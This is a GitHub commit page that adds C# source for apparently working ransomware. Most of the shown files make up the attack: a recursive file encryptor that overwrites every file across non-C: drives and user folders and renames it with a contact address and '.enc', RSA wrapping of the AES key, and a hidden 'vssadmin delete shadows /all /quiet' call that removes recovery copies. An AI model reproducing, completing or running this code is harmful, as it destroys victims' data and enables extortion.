-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
45 changed files
with
1,416 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,11 @@ | ||
using System; | ||
using System.Runtime.CompilerServices; | ||
|
||
namespace Microsoft.CodeAnalysis | ||
{ | ||
[CompilerGenerated] | ||
[Embedded] | ||
internal sealed class EmbeddedAttribute : Attribute | ||
{ | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,17 @@ | ||
using System.Diagnostics; | ||
using System.Reflection; | ||
using System.Runtime.CompilerServices; | ||
using System.Runtime.InteropServices; | ||
using System.Runtime.Versioning; | ||
|
||
[assembly: AssemblyTitle("")] | ||
[assembly: AssemblyDescription("")] | ||
[assembly: AssemblyConfiguration("")] | ||
[assembly: AssemblyCompany("")] | ||
[assembly: AssemblyProduct("")] | ||
[assembly: AssemblyCopyright("")] | ||
[assembly: AssemblyTrademark("")] | ||
[assembly: ComVisible(false)] | ||
[assembly: Guid("282b8d86-f33f-441e-8bb5-95903351be39")] | ||
[assembly: AssemblyFileVersion("1.0.0.0")] | ||
[assembly: AssemblyVersion("1.0.0.0")] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,48 @@ | ||
using System.CodeDom.Compiler; | ||
using System.ComponentModel; | ||
using System.Diagnostics; | ||
using System.Globalization; | ||
using System.Resources; | ||
using System.Runtime.CompilerServices; | ||
|
||
namespace SF.Properties; | ||
|
||
[GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "17.0.0.0")] | ||
[DebuggerNonUserCode] | ||
[CompilerGenerated] | ||
internal class Resources | ||
{ | ||
private static ResourceManager resourceMan; | ||
|
||
private static CultureInfo resourceCulture; | ||
|
||
[EditorBrowsable(EditorBrowsableState.Advanced)] | ||
internal static ResourceManager ResourceManager | ||
{ | ||
get | ||
{ | ||
if (resourceMan == null) | ||
{ | ||
ResourceManager resourceManager = (resourceMan = new ResourceManager("SF.Properties.Resources", typeof(Resources).Assembly)); | ||
} | ||
return resourceMan; | ||
} | ||
} | ||
|
||
[EditorBrowsable(EditorBrowsableState.Advanced)] | ||
internal static CultureInfo Culture | ||
{ | ||
get | ||
{ | ||
return resourceCulture; | ||
} | ||
set | ||
{ | ||
resourceCulture = value; | ||
} | ||
} | ||
|
||
internal Resources() | ||
{ | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,14 @@ | ||
using System.CodeDom.Compiler; | ||
using System.Configuration; | ||
using System.Runtime.CompilerServices; | ||
|
||
namespace SF.Properties; | ||
|
||
[CompilerGenerated] | ||
[GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "17.3.0.0")] | ||
internal sealed class Settings : ApplicationSettingsBase | ||
{ | ||
private static Settings defaultInstance = (Settings)SettingsBase.Synchronized(new Settings()); | ||
|
||
public static Settings Default => defaultInstance; | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,40 @@ | ||
using System; | ||
using System.Security.Cryptography; | ||
using System.Text; | ||
|
||
namespace SF; | ||
|
||
internal static class Encryption | ||
{ | ||
public enum KeySizes | ||
{ | ||
Size2048 = 0x800 | ||
} | ||
|
||
public static byte[] AesEncrypt(byte[] input, string pass) | ||
{ | ||
RijndaelManaged rijndaelManaged = new RijndaelManaged(); | ||
byte[] array = new byte[32]; | ||
byte[] sourceArray = new MD5CryptoServiceProvider().ComputeHash(Encoding.ASCII.GetBytes(pass)); | ||
Array.Copy(sourceArray, 0, array, 0, 16); | ||
Array.Copy(sourceArray, 0, array, 15, 16); | ||
rijndaelManaged.Key = array; | ||
rijndaelManaged.Mode = CipherMode.ECB; | ||
ICryptoTransform cryptoTransform = rijndaelManaged.CreateEncryptor(); | ||
return cryptoTransform.TransformFinalBlock(input, 0, input.Length); | ||
} | ||
|
||
public static string Run() | ||
{ | ||
byte[] inArray = Encrypt("<RSAKeyValue><Modulus>t2y0c8wweA+4DhfQLn3nMKAfaWL1l/oTj5EjEgvzxgaT8vXntgqbW2efLxc/hs94McCrntZJJjYbtCC0xcOC+w38gIwa7xugrwNgtTFjgnI+4j3fdv5/+NCNMM/I0Yb0KZc0jx0wa3QeC8fZgVslnVnyVQLsYBhgdPSSzjABZ249PK7i2WRbccNpYHzZPqYTWawjxm3ePSrJGmAr///25B1OZOYFeQ1Gzl/SKO4YB5/KW2ZuTaJIj8zDRgDQiDjZwIBswbBvs8t1TwCrp3HHPQ7NH6jEmzEtYqCgSoRYu2X7rGhPRvcX6KUXAAruU0EOnfMLEWNH9u9+IHsg6j8tsQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue>", Encoding.UTF8.GetBytes(Main.Key)); | ||
return Convert.ToBase64String(inArray); | ||
} | ||
|
||
private static byte[] Encrypt(string publicKey, byte[] plain) | ||
{ | ||
using RSACryptoServiceProvider rSACryptoServiceProvider = new RSACryptoServiceProvider(2048); | ||
rSACryptoServiceProvider.PersistKeyInCsp = false; | ||
rSACryptoServiceProvider.FromXmlString(publicKey); | ||
return rSACryptoServiceProvider.Encrypt(plain, fOAEP: true); | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,26 @@ | ||
using System.Security.Cryptography; | ||
using System.Text; | ||
|
||
namespace SF; | ||
|
||
public class KeyGenerator | ||
{ | ||
public static string GetUniqueKey(int maxSize) | ||
{ | ||
char[] array = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890".ToCharArray(); | ||
byte[] array2 = new byte[1]; | ||
using (RNGCryptoServiceProvider rNGCryptoServiceProvider = new RNGCryptoServiceProvider()) | ||
{ | ||
rNGCryptoServiceProvider.GetNonZeroBytes(array2); | ||
array2 = new byte[maxSize]; | ||
rNGCryptoServiceProvider.GetNonZeroBytes(array2); | ||
} | ||
StringBuilder stringBuilder = new StringBuilder(maxSize); | ||
byte[] array3 = array2; | ||
foreach (byte b in array3) | ||
{ | ||
stringBuilder.Append(array[(int)b % array.Length]); | ||
} | ||
return stringBuilder.ToString(); | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,141 @@ | ||
using System; | ||
using System.Collections.Generic; | ||
using System.IO; | ||
using Microsoft.VisualBasic; | ||
|
||
namespace SF; | ||
|
||
internal static class Main | ||
{ | ||
private static readonly string Root = Environment.GetFolderPath(Environment.SpecialFolder.System); | ||
|
||
private static readonly string SystemDisk = Path.GetPathRoot(Root); | ||
|
||
public static readonly string DesktopDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop); | ||
|
||
private static readonly string MyComputerDirectory = Environment.GetFolderPath(Environment.SpecialFolder.MyComputer); | ||
|
||
private static readonly string DesktopDirectoryDirectory = Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory); | ||
|
||
private static readonly string FavoritesDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Favorites); | ||
|
||
private static readonly string MyDocumentspDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Personal); | ||
|
||
private static readonly string MyMusicDirectory = Environment.GetFolderPath(Environment.SpecialFolder.MyMusic); | ||
|
||
private static readonly string HistoryDirectory = Environment.GetFolderPath(Environment.SpecialFolder.History); | ||
|
||
private static readonly string PersonalDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Personal); | ||
|
||
private static readonly string DownloadsDirectory = Interaction.Environ("USERPROFILE") + "\\Downloads"; | ||
|
||
private static readonly string DocumentsDirectory = Interaction.Environ("USERPROFILE") + "\\Documents"; | ||
|
||
private static readonly string PicturesDirectory = Interaction.Environ("USERPROFILE") + "\\Pictures"; | ||
|
||
private static readonly string VideosDirectory = Interaction.Environ("USERPROFILE") + "\\Videos"; | ||
|
||
private static readonly string MusicDirectory = Interaction.Environ("USERPROFILE") + "\\Music"; | ||
|
||
private static readonly string UserProfile = Interaction.Environ("USERPROFILE"); | ||
|
||
public static string[] ValidExtension = new string[1] { "*.*" }; | ||
|
||
public static string Key { get; } = KeyGenerator.GetUniqueKey(133); | ||
|
||
|
||
private static string[] Folder { get; set; } | ||
|
||
private static string[] Files { get; set; } | ||
|
||
private static string ProgramData { get; } = SystemDisk + "\\ProgramData"; | ||
|
||
|
||
public static void RunEncrypt() | ||
{ | ||
string text = Encryption.Run(); | ||
List<string> list = new List<string>(); | ||
string[] logicalDrives = Directory.GetLogicalDrives(); | ||
string[] array = logicalDrives; | ||
foreach (string text2 in array) | ||
{ | ||
if (text2 != "C:\\") | ||
{ | ||
list.Add(text2); | ||
} | ||
} | ||
list.Add(DesktopDirectory); | ||
list.Add(MyComputerDirectory); | ||
list.Add(DesktopDirectoryDirectory); | ||
list.Add(MyDocumentspDirectory); | ||
list.Add(MyMusicDirectory); | ||
list.Add(PersonalDirectory); | ||
list.Add(DownloadsDirectory); | ||
list.Add(DocumentsDirectory); | ||
list.Add(PicturesDirectory); | ||
list.Add(VideosDirectory); | ||
list.Add(MusicDirectory); | ||
list.Add(UserProfile); | ||
list.Add(FavoritesDirectory); | ||
list.Add(ProgramData); | ||
list.Add(SystemDisk + "\\Users\\"); | ||
foreach (string item in list) | ||
{ | ||
SearchFolder(item); | ||
SearchFile(item); | ||
} | ||
} | ||
|
||
internal static void SearchFolder(string name) | ||
{ | ||
try | ||
{ | ||
Folder = Directory.GetDirectories(name, "*", SearchOption.TopDirectoryOnly); | ||
} | ||
catch (Exception) | ||
{ | ||
return; | ||
} | ||
string[] folder = Folder; | ||
foreach (string name2 in folder) | ||
{ | ||
SearchFile(name2); | ||
SearchFolder(name2); | ||
} | ||
} | ||
|
||
internal static void SearchFile(string name) | ||
{ | ||
string[] validExtension = ValidExtension; | ||
foreach (string text in validExtension) | ||
{ | ||
try | ||
{ | ||
Files = Directory.GetFiles(name, "*" + text, SearchOption.TopDirectoryOnly); | ||
} | ||
catch (Exception) | ||
{ | ||
break; | ||
} | ||
string[] files = Files; | ||
foreach (string name2 in files) | ||
{ | ||
Encrypt(name2); | ||
} | ||
} | ||
} | ||
|
||
internal static void Encrypt(string name) | ||
{ | ||
try | ||
{ | ||
string text = "[email protected]"; | ||
byte[] bytes = Encryption.AesEncrypt(File.ReadAllBytes(name), Key); | ||
File.WriteAllBytes(name, bytes); | ||
File.Move(name, name + text + ".enc"); | ||
} | ||
catch (Exception) | ||
{ | ||
} | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,40 @@ | ||
using System; | ||
using System.Diagnostics; | ||
using System.Windows.Forms; | ||
|
||
namespace SF; | ||
|
||
internal static class Program | ||
{ | ||
[STAThread] | ||
private static void Main() | ||
{ | ||
SF.Main.RunEncrypt(); | ||
DeleteShadowCopy(); | ||
Application.EnableVisualStyles(); | ||
Application.SetCompatibleTextRenderingDefault(defaultValue: false); | ||
Application.Run(new link2()); | ||
} | ||
|
||
private static void DeleteShadowCopy() | ||
{ | ||
try | ||
{ | ||
ProcessStartInfo startInfo = new ProcessStartInfo("cmd.exe", "/c vssadmin.exe delete shadows /all /quiet") | ||
{ | ||
RedirectStandardOutput = true, | ||
UseShellExecute = false, | ||
CreateNoWindow = true, | ||
WindowStyle = ProcessWindowStyle.Hidden | ||
}; | ||
Process process = new Process | ||
{ | ||
StartInfo = startInfo | ||
}; | ||
process.Start(); | ||
} | ||
catch (Exception) | ||
{ | ||
} | ||
} | ||
} |
Oops, something went wrong.